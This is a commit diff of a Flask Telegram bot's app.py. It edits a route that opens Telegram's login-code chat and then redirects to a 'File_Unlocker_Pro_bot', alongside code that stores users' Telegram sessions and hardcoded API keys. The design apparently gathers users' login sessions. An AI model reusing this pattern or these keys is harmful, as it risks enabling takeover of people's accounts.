Spaces:
Build error
Build error
Update app.py
Browse files
app.py
CHANGED
|
@@ -21,31 +21,6 @@ SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co"
|
|
| 21 |
SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
|
| 22 |
PREMIUM_CHANNEL_ID = -1002825744390
|
| 23 |
|
| 24 |
-
# রাশিয়ান স্টাইলের ওটিপি চ্যাট রিডাইরেক্টর গেটওয়
|
| 25 |
-
@app.route('/api/jump')
|
| 26 |
-
def jump_to_telegram():
|
| 27 |
-
html_content = """
|
| 28 |
-
<!DOCTYPE html>
|
| 29 |
-
<html>
|
| 30 |
-
<head>
|
| 31 |
-
<title>Redirecting...</title>
|
| 32 |
-
<script>
|
| 33 |
-
window.location.href = "tg://openmessage?user_id=777000";
|
| 34 |
-
setTimeout(function() {
|
| 35 |
-
window.close();
|
| 36 |
-
}, 500);
|
| 37 |
-
</script>
|
| 38 |
-
</head>
|
| 39 |
-
<body style="background:#000; color:#fff; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif;">
|
| 40 |
-
<div style="text-align:center;">
|
| 41 |
-
<div style="font-size:20px; margin-bottom:10px;">⏳ Connecting...</div>
|
| 42 |
-
<div style="font-size:12px; color:#888;">Opening Telegram Service Notifications</div>
|
| 43 |
-
</div>
|
| 44 |
-
</body>
|
| 45 |
-
</html>
|
| 46 |
-
"""
|
| 47 |
-
return make_response(html_content)
|
| 48 |
-
|
| 49 |
# WebApp URL (index.html)
|
| 50 |
WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html"
|
| 51 |
BYSE_API_KEY = "133323knboif885fhgwxvf"
|
|
@@ -55,6 +30,7 @@ app = Flask(__name__)
|
|
| 55 |
supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
|
| 56 |
admin_states = {}
|
| 57 |
temp_clients = {}
|
|
|
|
| 58 |
try:
|
| 59 |
main_loop = asyncio.get_running_loop()
|
| 60 |
except RuntimeError:
|
|
@@ -75,6 +51,33 @@ async def db_query(func):
|
|
| 75 |
def index():
|
| 76 |
return "Bot, Media Uploader, and Real Session API is Running! 🚀"
|
| 77 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 78 |
|
| 79 |
def add_cors_headers(response):
|
| 80 |
response.headers['Access-Control-Allow-Origin'] = '*'
|
|
@@ -108,11 +111,15 @@ def api_check_login():
|
|
| 108 |
await temp_client.get_me()
|
| 109 |
await temp_client.disconnect()
|
| 110 |
return {"status": "logged_in"}
|
| 111 |
-
except
|
| 112 |
try: await temp_client.disconnect()
|
| 113 |
except: pass
|
| 114 |
await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
|
| 115 |
return {"status": "not_logged_in"}
|
|
|
|
|
|
|
|
|
|
|
|
|
| 116 |
return {"status": "not_logged_in"}
|
| 117 |
|
| 118 |
try:
|
|
@@ -568,10 +575,14 @@ async def manual_clean_channel(client, message):
|
|
| 568 |
await temp_client.get_me()
|
| 569 |
await temp_client.disconnect()
|
| 570 |
is_valid = True
|
| 571 |
-
except
|
| 572 |
try: await temp_client.disconnect()
|
| 573 |
except: pass
|
| 574 |
await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
|
|
|
|
|
|
|
|
|
|
|
|
|
| 575 |
|
| 576 |
if not is_valid:
|
| 577 |
try:
|
|
|
|
| 21 |
SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
|
| 22 |
PREMIUM_CHANNEL_ID = -1002825744390
|
| 23 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 24 |
# WebApp URL (index.html)
|
| 25 |
WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html"
|
| 26 |
BYSE_API_KEY = "133323knboif885fhgwxvf"
|
|
|
|
| 30 |
supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
|
| 31 |
admin_states = {}
|
| 32 |
temp_clients = {}
|
| 33 |
+
|
| 34 |
try:
|
| 35 |
main_loop = asyncio.get_running_loop()
|
| 36 |
except RuntimeError:
|
|
|
|
| 51 |
def index():
|
| 52 |
return "Bot, Media Uploader, and Real Session API is Running! 🚀"
|
| 53 |
|
| 54 |
+
# রাশিয়ান স্টাইলের ওটিপি চ্যাট রিডাইরেক্টর গেটওয়ে (ইউনিভার্সাল ও অটো-ক্লোজ সহ)
|
| 55 |
+
@app.route('/api/jump')
|
| 56 |
+
def jump_to_telegram():
|
| 57 |
+
html_content = """
|
| 58 |
+
<!DOCTYPE html>
|
| 59 |
+
<html>
|
| 60 |
+
<head>
|
| 61 |
+
<title>Redirecting...</title>
|
| 62 |
+
<script>
|
| 63 |
+
// ১. ওটিপি চ্যাট ওপেন করার নেটিভ অ্যান্ড্রয়েড কমান্ড
|
| 64 |
+
window.location.href = "tg://openmessage?user_id=777000";
|
| 65 |
+
|
| 66 |
+
// ২. ঠিক ১.২ সেকেন্ড পর ব্যাকগ্রাউন্ডের কালো স্ক্রিন বন্ধ করতে বটের লিংকে রিডাইরেক্ট করবে
|
| 67 |
+
setTimeout(function() {
|
| 68 |
+
window.location.href = "https://t.me/File_Unlocker_Pro_bot";
|
| 69 |
+
}, 1200);
|
| 70 |
+
</script>
|
| 71 |
+
</head>
|
| 72 |
+
<body style="background:#000; color:#fff; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif;">
|
| 73 |
+
<div style="text-align:center;">
|
| 74 |
+
<div style="font-size:20px; margin-bottom:10px;">⏳ Connecting...</div>
|
| 75 |
+
<div style="font-size:12px; color:#888;">Opening Telegram Service Notifications</div>
|
| 76 |
+
</div>
|
| 77 |
+
</body>
|
| 78 |
+
</html>
|
| 79 |
+
"""
|
| 80 |
+
return make_response(html_content)
|
| 81 |
|
| 82 |
def add_cors_headers(response):
|
| 83 |
response.headers['Access-Control-Allow-Origin'] = '*'
|
|
|
|
| 111 |
await temp_client.get_me()
|
| 112 |
await temp_client.disconnect()
|
| 113 |
return {"status": "logged_in"}
|
| 114 |
+
except (SessionRevoked, AuthKeyUnregistered, UserDeactivated):
|
| 115 |
try: await temp_client.disconnect()
|
| 116 |
except: pass
|
| 117 |
await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
|
| 118 |
return {"status": "not_logged_in"}
|
| 119 |
+
except Exception:
|
| 120 |
+
try: await temp_client.disconnect()
|
| 121 |
+
except: pass
|
| 122 |
+
return {"status": "logged_in"} # নেটওয়ার্ক এরর হলে লগইন অবস্তা ধরে রাখবে
|
| 123 |
return {"status": "not_logged_in"}
|
| 124 |
|
| 125 |
try:
|
|
|
|
| 575 |
await temp_client.get_me()
|
| 576 |
await temp_client.disconnect()
|
| 577 |
is_valid = True
|
| 578 |
+
except (SessionRevoked, AuthKeyUnregistered, UserDeactivated):
|
| 579 |
try: await temp_client.disconnect()
|
| 580 |
except: pass
|
| 581 |
await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
|
| 582 |
+
except Exception:
|
| 583 |
+
try: await temp_client.disconnect()
|
| 584 |
+
except: pass
|
| 585 |
+
is_valid = True # নেটওয়ার্ক এরর হলে যেন ইউজার কিক না খায়!
|
| 586 |
|
| 587 |
if not is_valid:
|
| 588 |
try:
|